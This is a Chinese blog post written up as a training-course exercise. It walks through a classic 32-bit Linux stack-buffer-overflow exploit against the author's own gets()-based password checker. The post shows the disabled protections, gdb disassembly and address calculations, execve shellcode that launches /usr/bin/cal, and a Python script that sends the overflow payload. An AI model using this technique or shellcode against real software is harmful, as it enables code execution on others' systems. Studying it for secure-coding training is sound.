记一次栈溢出漏洞利用实验
公司培训课程Writing Secure Code的作业是自己实现一次栈溢出攻击,花了一个周六时间算是完成了,同时也在这里记录下:
当然现代编译器和操作系统其实已经可以很好应对栈溢出这种攻击了,我所做的实验更多的是学习性质。
1. 实验环境
a) 我是在Linux i686 32位环境下完成这次作业的,具体系统信息:Linux 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
b) 编译使用的GCC版本是gcc version 4.9.1 20140922 (Red Hat 4.9.1-10) (GCC)
c) 为了完成栈溢出的任务关闭了编译和运行时的一些选项,主要有:
-
i. 关闭Linux地址随机化(ASLR):echo 0 > /proc/sys/kernel/randomize_va_space
ii. 关闭栈保护: -fno-stack-protector
iii. 开启栈可执行: -z execstack
2. 实验过程
a) 反汇编二进制文件并进行观察
Dump of assembler code for function IsPasswordOK:
0x0804848b <+0>: push %ebp
0x0804848c <+1>: mov %esp,%ebp
0x0804848e <+3>: sub $0x18,%esp
0x08048491 <+6>: sub $0xc,%esp
0x08048494 <+9>: lea -0x14(%ebp),%eax
0x08048497 <+12>: push %eax
0x08048498 <+13>: call 0x8048340 <gets@plt>
0x0804849d <+18>: add $0x10,%esp
0x080484a0 <+21>: sub $0x8,%esp
0x080484a3 <+24>: push $0x80485b4
0x080484a8 <+29>: lea -0x14(%ebp),%eax
0x080484ab <+32>: push %eax
0x080484ac <+33>: call 0x8048330 <strcmp@plt>
0x080484b1 <+38>: add $0x10,%esp
0x080484b4 <+41>: test %eax,%eax
0x080484b6 <+43>: sete %al
0x080484b9 <+46>: leave
0x080484ba <+47>: ret
End of assembler dump.
可以看到在IsPasswordOK函数里面先后执行了ebp压栈,然后是用当前esp更新ebp,之后分配局部变量空间等操作。其stack的结构大致如下:
其中linux栈从上往下地址递减,我们通过password数组溢出从而覆盖高地址的eip对其操作进行控制。
b) Shellcode 编写
由于最终我们需要执行外部程序实现攻击,我们首先需要一段简短的linux shellcode。
由于我的linux系统里没有计算器(calculator)程序,我使用日历(cal)程序作为替代。
Shellcode的构造过程参考:https://www.cnblogs.com/lsgxeva/p/10794331.html
我编写了如下汇编代码:
Section .text global _start _start: xor eax, eax ; push eax ; push 0x6c61632f ;字符串参数‘/usr/bin/cal’入栈 push 0x6e69622f push 0x7273752f mov ebx, esp; push eax mov edx, esp; push ebx mov ecx, esp; mov al, 11 int 0x80 ;系统调用
主要思路就是把相应的参数传给寄存器或者压栈,然后通过linux int80系统调用,通过execve函数启动/usr/bin/cal程序。
写好汇编代码之后使用nasm编译成二进制程序,然后通过shellcode提取程序提取出来即可,最后可用的shellcode为:
"\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
一共30个字节。
c) 观察gdb调试程序isPasswordOK及其core dump文件
根据相关资料,gdb调试过程中的内存地址和实际运行中的并不一定相同。首先通过gdb调试获得stack内存分配的规律:
从调试中我发现gdb中,password缓冲区开始的地址总是0xbffff164.
通过对IsPasswordOK函数stack空间分配过程的逐断点观察:
Dump of assembler code for function IsPasswordOK:
0x0804848b <+0>: push %ebp
0x0804848c <+1>: mov %esp,%ebp
0x0804848e <+3>: sub $0x18,%esp
0x08048491 <+6>: sub $0xc,%esp
0x08048494 <+9>: lea -0x14(%ebp),%eax
0x08048497 <+12>: push %eax
0x08048498 <+13>: call 0x8048340 <gets@plt>
0x0804849d <+18>: add $0x10,%esp
0x080484a0 <+21>: sub $0x8,%esp
0x080484a3 <+24>: push $0x80485b4
0x080484a8 <+29>: lea -0x14(%ebp),%eax
0x080484ab <+32>: push %eax
0x080484ac <+33>: call 0x8048330 <strcmp@plt>
0x080484b1 <+38>: add $0x10,%esp
0x080484b4 <+41>: test %eax,%eax
0x080484b6 <+43>: sete %al
0x080484b9 <+46>: leave
0x080484ba <+47>: ret
End of assembler dump.
(gdb) b *0x0804848c
Breakpoint 1 at 0x804848c: file isPasswordOK.c, line 4.
(gdb) b *0x0804848e
Breakpoint 2 at 0x804848e: file isPasswordOK.c, line 4.
(gdb) b *0x08048491
Breakpoint 3 at 0x8048491: file isPasswordOK.c, line 7.
(gdb) b *0x08048494
Breakpoint 4 at 0x8048494: file isPasswordOK.c, line 7.
(gdb) r
Starting program: /root/share/StackOverflow/isPasswordOK
Enter password:
Breakpoint 1, 0x0804848c in IsPasswordOK () at isPasswordOK.c:4
4 bool IsPasswordOK(void){
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686
(gdb) i r
eax 0x10 16
ecx 0x3db4e0 4044000
edx 0x3dc340 4047680
ebx 0x3daff4 4042740
esp 0xbffff178 0xbffff178
ebp 0xbffff198 0xbffff198
…
(gdb) c
Continuing.
Breakpoint 2, 0x0804848e in IsPasswordOK () at isPasswordOK.c:4
4 bool IsPasswordOK(void){
(gdb) i r esp
esp 0xbffff178 0xbffff178
(gdb) c
Continuing.
Breakpoint 3, IsPasswordOK () at isPasswordOK.c:7
7 gets(Password);
(gdb) i r esp
esp 0xbffff160 0xbffff160
可以发现stack中缓冲区从0xbffff160开始一直到0xbffff178,而上面说过password数组则从0xbffff164地址开始,0xbffff178再往上就是ebp和eip了。
d) 从core dump中观察实际程序运行时的地址
首先打开linux的core dump size开关:ulimit -f unlimit.
在运行时多输入一些字符使得程序崩溃产生core.***文件。
Gdb调试该文件,并定位到我们输入的字符处(即password数组):
可以看到实际运行时password数组起始于0xbffff194。
相应的通过计算,运行时eip位于0xbffff194 + 20 + 4=0xbffff1ac。
我们需要填充24的字节,然后填充eip。而eip将指向shellcode的起始地址。
e) 输入数据布局
Eip需要指向我们的shellcode,考虑到shellcode有30个字节长度,我选择把shellcode直接放置在eip的后面,即eip+4 eip+34这个位置。
于是eip是处需要填入的地址即为0xbffff1ac + 4=0xbffff1b0.
输入数据布局为:填充数据(24字节)+ eip(0xbffff1b0)+ shellcode(30字节)
f) 输入与实践
在实际输入过程中,由于很多二进制字符不支持在shell界面直接输入,经过文本编辑器打开后经常会变成块状乱码,无法输入或者输入之后与原先值不一致。
经过一番摸索,我选择使用python的subprocess模块模拟输入,这样就能准确无误地向程序动态输入二进制数据,具体代码如下:
import subprocess shellcode='\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' fillbytes= 'a'* 24 ret_eip = '\xb0\xf1\xff\xbf' fill = fillbytes+ ret_eip + shellcode obj = subprocess.Popen(["./isPasswordOK"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) obj.stdin.write(fill) out,err = obj.communicate() print(out)
输入数据由3部分拼接而成, 最后的输出结果如下:
至此整个攻击过程完成了,cal程序被成功调用